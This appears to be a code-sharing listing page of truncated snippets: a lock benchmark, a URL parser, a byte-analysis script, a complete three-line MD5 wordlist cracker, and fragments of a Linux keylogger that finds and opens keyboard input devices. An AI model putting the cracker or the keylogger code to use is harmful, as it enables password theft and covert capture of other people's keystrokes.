This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# md5 brute force in 3 lines of python. | |
# ./this <digest> <wordfile> | |
import sys, hashlib | |
for line in file(sys.argv[2]): | |
if hashlib.md5(line.rstrip()).hexdigest() == sys.argv[1]: print line, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from itertools import izip, cycle | |
import string, sys | |
def ascii_analysis(data): | |
total_len = len(data) | |
total_ascii = 0 | |
for char in data: | |
if char in string.ascii_letters or char in ['\r', '\n'] or char in string.digits or char in string.whitespace: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
__ __ | |
\ \ ___ / / | |
\ \ / _ \ / / | |
\ \ (_) / / | |
\_\___/_/ | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* CAS lock comparison to mutex */ | |
/* | |
mthomas@atticus:~$ gcc -O3 -m64 -march=core2 -mfpmath=sse -msse4 cas_queue.c -o cas_queue -lpthread | |
mthomas@atticus:~$ ./cas_queue | |
cas locks 4.77 seconds | |
mutex locks 38.05 seconds | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
mthomas@atticus:~$ ./u "http://fdsfdsu:[email protected]:8080/fda" | |
Scheme = http | |
Host = www.ackers.net | |
Port = 8080 | |
User = fdsfdsu | |
Pass = sfsdfds | |
*/ | |
#include <stdio.h> | |
#include <stdint.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
unsigned char | |
is_keyboard(const char *file) | |
{ | |
int fd; | |
uint8_t bitmask; | |
fd = open(file, O_RDONLY); | |
if (fd < 0) { | |
return(0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const char ** | |
keylogger_find_keyboards(void) | |
{ | |
const char **keyboards; | |
DIR *dip = NULL; | |
struct dirent *dit = NULL; | |
int i = 0; | |
dip = opendir(keyboard_dir); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int | |
keyboard_watcher_init(const char **keyboards) | |
{ | |
const char *keyboard = NULL; | |
while ((keyboard = *(keyboards++)) != NULL) { | |
int fd; | |
keyboard_t *kb; | |
fd = open(keyboard, O_RDONLY | O_NONBLOCK); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef struct { | |
uint8_t shift_mod; | |
uint8_t caps_mod; | |
struct event event; | |
} keyboard_t; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct input_event { | |
struct timeval time; | |
__u16 type; | |
__u16 code; | |
__s32 value; | |
}; |
OlderNewer